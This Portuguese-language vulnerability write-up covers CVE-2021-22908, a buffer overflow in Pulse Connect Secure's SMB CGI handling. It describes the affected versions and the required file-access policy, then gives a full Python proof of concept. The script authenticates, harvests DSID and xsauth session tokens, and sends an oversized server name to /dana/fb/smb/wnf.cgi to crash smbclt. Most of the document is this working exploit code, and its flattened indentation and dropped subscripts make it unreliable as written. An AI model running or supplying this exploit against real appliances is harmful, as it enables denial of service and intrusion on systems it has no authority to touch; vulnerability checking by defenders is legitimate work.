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Descrição da vulnerabilidade
Como o PCS oferece suporte à conexão com o compartilhamento de arquivos do Windows (SMB), a função é fornecida por scripts CGI baseados nas bibliotecas Samba 4.5.10 e aplicativos auxiliares. Ao especificar um nome de servidor longo para certas operações SMB, o aplicativo smbclt pode travar devido ao estouro do buffer, dependendo do comprimento do nome do servidor especificado.
Foi confirmado que o sistema PCS 9.1R11.4 tem esta vulnerabilidade. O endpoint CGI alvo é /dana/fb/smb/wnf.cgi . Outros endpoints CGI também podem desencadear esta vulnerabilidade.
Se um invasor não conseguir limpar depois de explorar com êxito esta vulnerabilidade, especificar um nome de servidor longo pode resultar nas seguintes entradas de log de eventos PCS:
Critical ERR31093 2021-05-24 14:05:37 - ive - 127.0.0.1 Root::System() - Program smbclt recently failed.
Mas para explorar esta vulnerabilidade, o servidor PCS deve ter uma política de acesso a arquivos do Windows que permita \\ * ou outra política que permita que um invasor se conecte a qualquer servidor. Você pode visualizar a política SMB atual visualizando Usuário-> Política de Recursos-> Política de Acesso a Arquivos do Windows na página de gerenciamento do PCS. 9.1R2 e dispositivos PCS anteriores usam a política padrão de permitir conexões com qualquer host SMB. A partir de 9.1R3, esta política foi alterada da permissão padrão para a rejeição padrão.
Âmbito de influência
Pulse Connect Secure 9.0RX and 9.1RX
POC
#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')
args = parser.parse_args()
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class formvaluefinder(HTMLParser):
def __init__(self, searchval):
super(type (self), self).__init__()
self.searchval = searchval
def handle_starttag(self, tag, attrs):
if tag == 'input':
# We're just looking for form <input> tags
foundelement = False
for attr in attrs:
if(attr0 == 'name'):
if(attr1 == self.searchval):
foundelement = True
elif(attr0 == 'value' and foundelement == True):
self.data = attr1
class preauthfinder(HTMLParser):
foundelement = False
def handle_starttag(self, tag, attrs):
if tag == 'textarea':
# We're just looking for <textarea> tags
foundelement = False
for attr in attrs:
if(attr0 == 'id'):
if(attr1 == 'sn-preauth-text_2'):
self.foundelement = True
def handle_data(self, data):
if self.foundelement:
self.data = data
self.foundelement = False
def get_realm(host, defaulturi):
realm = None
print('Getting default realm for %s...' % host)
url = 'https://%s%s' % (host,defaulturi)
res = None
try:
res = requests.get(url, verify=False, timeout=10)
except requests.exceptions.ConnectionError:
print('Error retrieving %s' % url)
if res:
if res.status_code == 200:
html = str(res.content)
if 'sn-preauth-text_2' in html:
print('Preauth required...')
parser = preauthfinder()
parser.feed(html)
preauthtext = parser.data
values = {'sn-preauth-text': preauthtext, 'sn-preauth-proceed': 'Proceed'}
res = requests.post(res.url, data=values, verify=False, allow_redirects=False, timeout=10)
if res.content:
parser = formvaluefinder('realm')
parser.feed(str(res.content))
realm = parser.data
else:
print('Error retrieving login page')
else:
parser = formvaluefinder('realm')
parser.feed(html)
realm = parser.data
return realm
def get_dsid(host, defaulturi, realm, user, password):
dsid = None
loginuri = defaulturi.replace('welcome.cgi', 'login.cgi')
url = 'https://%s%s' % (host,loginuri)
values = {'username': user, 'password': password, 'realm': realm, 'btnSubmit': 'Sign In'}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers'location':
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'cred' in res.headers'location':
# This is a pulse that requires 2FA
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'id':
key = cookie.value
password2 = input('MFA code: ')
values = {'key': key, 'password#2': password2, 'btnSubmit': 'Sign In'}
cookies = {'id': key, 'DSSigninNotif': '1'}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers'location':
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
else:
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'failed' in res.headers'location':
print('Login failed!')
else:
# Login accepted
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
return dsid
def get_xsauth(host, dsid):
xsauth = None
url = 'https://%s/dana/home/index.cgi' % host
cookies = {'DSID':dsid}
res = requests.get(url, verify=False, cookies=cookies, timeout=10)
if 'xsauth' in str(res.content):
parser = formvaluefinder('xsauth')
parser.feed(str(res.content))
xsauth = parser.data
else:
print('Cannot find xsauth string for provided DSID: %s' % dsid)
return xsauth
def trigger_vul(host, dsid, xsauth):
url = 'https://%s/dana/fb/smb/wnf.cgi' % host
values = {
't': 's',
'v': '%s,,' % ('A' * 1800),
'dir': 'tmp',
'si': None,
'ri': None,
'pi': None,
'confirm': 'yes',
'folder': 'tmp',
'acttype': 'create',
'xsauth': xsauth,
'create': 'Create Folder',
}
cookies = {'DSID': dsid}
try:
res = requests.post(url, data=values, verify=False, allow_redirects=False, cookies=cookies, timeout=60)
status = res.status_code
if 'DSIDFormDataStr' in str(res.content):
# We got page asking to confirm our action
print('xsauth value was not accepted')
else:
if status == 200 and 'Error FB-8' in str(res.content):
print('HTTP %s. Windows File Access Policies prevents exploitation.' % status)
elif status == 200:
print('HTTP %s. Not vulnerable.' % status)
elif status == 403:
print('HTTP %s. XML workaround applied.' % status)
elif status == 500:
print('HTTP %s. %s is vulnerable to CVE-2021-22908!' % (status, host))
elif status == 302:
print('HTTP %s. Are you sure your DSID is valid?' % host)
else:
print('HTTP %s. Not sure how to interpret this result.' % status)
except requests.exceptions.ReadTimeout:
print('No response from server. Try again...')
def get_default(host):
url = 'https://%s' % host
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
try:
location = res.headers'location'
if 'dana-na' not in location:
print('%s does not seem to be a PCS host' % host)
location = None
except:
pass
return location
def check_xml(host):
url = 'https://%s/dana/meeting' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2104 appears to be installed')
else:
print('Workaround-2104 does NOT seem to be installed. Hope you are on R11.4 or later!')
url = 'https://%s/dana-cached/fb/smb/wfmd.cgi' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2105 appears to be installed')
else:
print('Workaround-2105 does NOT seem to be installed. Hope you are on R11.5 or later!')
host = args.host
if args.noauth:
check_xml(host)
else:
defaulturi = get_default(host)
if defaulturi:
if not args.realm:
realm = get_realm(host, defaulturi)
else:
realm = args.realm
if realm:
print('Realm: %s' % realm)
if not args.user and not args.dsid:
user = input('User: ')
else:
user = args.user
if not args.password and not args.dsid:
password = getpass.getpass()
else:
password = args.password
if not args.dsid:
dsid = get_dsid(host, defaulturi, realm, user, password)
print('DSID: %s' % dsid)
else:
dsid = args.dsid
if dsid:
if not args.xsauth:
xsauth = get_xsauth(host, dsid)
print('xsauth: %s' % xsauth)
else:
xsauth = args.xsauth
if xsauth:
trigger_vul(host, dsid, xsauth)
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